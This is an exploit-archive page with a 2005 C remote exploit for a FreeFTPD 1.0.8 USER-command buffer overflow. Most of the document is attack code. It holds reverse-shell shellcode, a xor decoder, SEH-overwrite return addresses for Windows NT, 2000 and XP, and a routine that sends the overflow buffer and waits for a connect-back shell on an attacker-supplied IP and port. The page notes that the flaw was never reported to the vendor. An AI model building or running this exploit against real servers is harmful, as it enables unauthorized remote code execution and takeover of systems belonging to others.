[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : FreeFTPD <= 1.0.8 (USER) Remote Buffer Overflow Exploit
# Published : 2005-11-17
# Author : Expanders
# Previous Title : MailEnable 1.54 Pro Universal IMAPD W3C Logging BoF Exploit
# Next Title : Snort <= 2.4.2 Back Orifice Pre-Preprocessor Remote Exploit (3)


/*
       _______         ________           .__        _____          __
___  __   _     ____ _____            |  |__    /  |  |   ____ |  | __
  /  /  /_   /      _(__  <   ______ |  |    /   |  |__/ ___|  |/ /
 >    <  _/      |  /        /_____/ |   Y  /    ^   /  ___|    <
/__/_ \_____  /___|  /______  /         |___|  /____   |  ___  >__|_ 
      /      /     /       /   2695    /      |__|      /     /

[i] Title:              FreeFTPD Remote USER Buffer overflow
[i] Discovered by:      barabas [mutsonline]
[i] Exploit by:         Expanders

[ Why FTPD crash? ]

When logging option is enabled freeftpd copy the user and the pass supplied by the user in the memory before put it in a logfile.

----Code Snippet----
78001D5D   MOV ECX,DWORD PTR SS:[ESP+4]  Ftpd put in ECX SP+4 that point to the user supplied data.
--------------------


If attacker's username is too big for the size of the buffer first we go to overwrite SEH handler(1011 bytes) and then the stack itself.

Beacuse stack point to our buffer this code

----Code Snippet----
78001D90   MOV EAX,DWORD PTR DS:[ECX]
--------------------

will cause an access violation.

Code Execution is possible.

[ Timeline ]

This vulnerability was not comunicated to the author.

[ Links ]

www.x0n3-h4ck.org



*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

#define BUGSTR "USER %s rnPASS x0nedrn" // Command where bug reside
#define BUFFSIZE 2000 // Buffer size

int banner();
int usage(char *filename);
int inject(char *port, char *ip);
int remote_connect( char* ip, unsigned short port );


/* win32_reverse -  EXITFUNC=seh LHOST=0.0.0.0 LPORT=0 Size=312 Encoder=Pex http://metasploit.com */
char shellcode[] =
"x2bxc9x83xe9xb8xe8xffxffxffxffxc0x5ex81x76x0excf"
"xfdx4ax2dx83xeexfcxe2xf4x33x97xa1x60x27x04xb5xd2"
"x30x9dxc1x41xebxd9xc1x68xf3x76x36x28xb7xfcxa5xa6"
"x80xe5xc1x72xefxfcxa1x64x44xc9xc1x2cx21xccx8axb4"
"x63x79x8ax59xc8x3cx80x20xcex3fxa1xd9xf4xa9x6ex05"
"xbax18xc1x72xebxfcxa1x4bx44xf1x01xa6x90xe1x4bxc6"
"xccxd1xc1xa4xa3xd9x56x4cx0cxccx91x49x44xbex7axa6"
"x8fxf1xc1x5dxd3x50xc1x6dxc7xa3x22xa3x81xf3xa6x7d"
"x30x2bx2cx7exa9x95x79x1fxa7x8ax39x1fx90xa9xb5xfd"
"xa7x36xa7xd1xf4xadxb5xfbx90x74xafx4bx4ex10x42x2f"
"x9ax97x48xd2x1fx95x93x24x3ax50x1dxd2x19xaex19x7e"
"x9cxbex19x6ex9cx02x9ax45"

"x00x00x00x00" // IP

"xa9x95"

"x00x00" // PORT
"xa9xaexc3xccx5ax95xa6xd4x65x9dx1dxd2x19x97x5ax7c"
"x9ax02x9ax4bxa5x99x2cx45xacx90x20x7dx96xd4x86xa4"
"x28x97x0exa4x2dxccx8axdex65x68xc3xd0x31xbfx67xd3"
"x8dxd1xc7x57xf7x56xe1x86xa7x8fxb4x9exd9x02x3fx05"
"x30x2bx11x7ax9dxacx1bx7cxa5xfcx1bx7cx9axacxb5xfd"
"xa7x50x93x28x01xaexb5xfbxa5x02xb5x1ax30x2dx22xca"
"xb6x3bx33xd2xbaxf9xb5xfbx30x8axb6xd2x1fx95xbaxa7"
"xcbxa2x19xd2x19x02x9ax2d";

char jmpback[]=
//22 byte xor decoder (0x55)
"xEBx0Fx5Bx33xC9x66x83xE9xE0x80x33x55x43xE2xFAxEBx05xE8xECxFFxFFxFF"
//(20 byte jump-back code -> springt 256 + 256 + 64 bytes terug)
"x8CxBBx8Cx21x71xA1x0CxD5x94x5FxC5xABx98xABx98xD5xBCx15xAAxB4";

char jmpover[]=
// 2 bytes jump 4 bytes over - 2 bytes NOP
"xEbx04x90x90";

struct retcodes{char *platform;unsigned long addr;} targets[]= {
        { "Windows NT SP 5/6"   , 0x776a1082 },   // ws2help.dll pop esi, pop ebx, retn  [Tnx to metasploit]
	{ "Windows 2k Universal", 0x750211a9 },   // ws2help.dll pop ebp, pop ebx, retn  [Tnx to metasploit]
	{ "Windows XP SP 1/2"   , 0x71aa13d6 },   // ws2help.dll pop ebx, pop ebp, retn  [Tnx to metasploit]
	{ NULL }
};
int banner() {
  printf("n       _______         ________           .__        _____          __     n");
  printf("___  __\   _  \   ____ \_____  \          |  |__    /  |  |   ____ |  | __ n");
  printf("\  \/  /  /_\  \ /    \  _(__  <   ______ |  |  \  /   |  |__/ ___\|  |/ / n");
  printf(" >    <\  \_/   \   |  \/       \ /_____/ |   Y  \/    ^   /\  \___|    <  n");
  printf("/__/\_ \\_____  /___|  /______  /         |___|  /\____   |  \___  >__|_ \ n");
  printf("      \/      \/     \/       \/               \/      |__|      \/     \/ nn");
  printf("[i] Title:        tFreeFTPD Remote USER Buffer overflown");
  printf("[i] Discovered by:tbarabas [mutsonline]n");
  printf("[i] Exploit by:   tExpandersnn");
  return 0;
}

int usage(char *filename) {
  int i;
  printf("Usage: t%s <host> <port> <l_ip> <l_port> <targ>nn",filename);
  printf("       t<host>   : Victim's hostn");
  printf("       t<port>   : Victim's port  ::  Default: 21n");
  printf("       t<l_ip>   : Local ip address for connectbackn");
  printf("       t<l_port> : Local port for connectbackn");
  printf("       t<targ>   : Target from the list belownn");
  
  printf("#   t Platformn");
  printf("-----------------------------------------------n");
  for(i = 0; targets[i].platform; i++)
        printf("%d t %sn",i,targets[i].platform);
  printf("-----------------------------------------------n");
  exit(0);
}

int inject(char *port, char *ip)
{
    unsigned long xorip;
    unsigned short xorport;
    xorip = inet_addr(ip)^(unsigned long)0x2D4AFDCF;
    xorport = htons(atoi( port ))^(unsigned short)0x2D4A;
    memcpy ( &shellcode[184], &xorip, 4);
    memcpy ( &shellcode[190], &xorport, 2);
    return 0;
}

int remote_connect( char* ip, unsigned short port )
{
  int s;
  struct sockaddr_in remote_addr;
  struct hostent* host_addr;

  memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
  if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
  {
   printf ( "[X] Cannot resolve "%s"n", ip );
   exit ( 1 );
  }
  remote_addr.sin_family = AF_INET;
  remote_addr.sin_port = htons ( port );
  remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
  if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
  {
   printf ( "[X] Socket failed!n" );
   exit ( 1 );
  }
  if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
  {
   printf ( "[X] Failed connecting!n" );
   exit ( 1 );
  }
  return ( s );
}

int main(int argc, char *argv[]) {
    int s,position;
    unsigned int rcv;
    char *buffer,*request;
    char recvbuf[256];
    banner();
    if( (argc != 6) || (atoi(argv[2]) < 1) || (atoi(argv[2]) > 65534) )
        usage(argv[0]);
    position = 0;
    printf("[+] Creating evil buffern");
    buffer = (char *) malloc(BUFFSIZE);
    request = (char *) malloc(BUFFSIZE + strlen(BUGSTR)); //  +3 == r + n + 0x00
    memset(buffer,0x90,BUFFSIZE);  // Fill with nops

    inject(argv[4],argv[3]);     // Xor port and ip and put them into the shellcode

    position = 1007 - (strlen(shellcode) + 100);   // 1007 : Pointer to next Execption structure  100: divide spaces
    memcpy(buffer+position,shellcode,strlen(shellcode));
    position += strlen(shellcode)+100;
    position += 2; // 2 bytes more nops
    memcpy(buffer+position,jmpover,2);
    position += 2;
    memcpy(buffer+position,&targets[atoi(argv[5])].addr,4);
    position += 4;
    position += 8; // 8 bytes more nops
    memcpy(buffer+position,jmpback,strlen(jmpback));
    position += strlen(jmpback);
    position += 8; // 8 bytes more nops
    memset(buffer+position,0x00,1); // End


    sprintf(request,BUGSTR,buffer);
    printf("[+] Connecting to remote hostn");
    s = remote_connect(argv[1],atoi(argv[2]));
    rcv=recv(s,recvbuf,256,0);
    if(rcv<0)
    {
     printf("n[X] Error while recieving banner!n");
     close_exit();
    }
    if (strstr(recvbuf,"freeFTPd")!=0)
    {
     sleep(1);
     printf("[+] Sending %d bytes of painfull buffern",strlen(buffer));
     if ( send ( s, request, strlen (request), 0) <= 0 )
     {
            printf("[X] Failed to send buffern");
            exit ( 1 );
     }
     printf("[+] Done - Wait for shell on port %sn",argv[4]);
    } else
      printf("[X] This server is not running freeFTPdn");
    close(s);
    free(buffer);
    buffer = NULL;
    return 0;
}

// www.Syue.com [2005-11-17]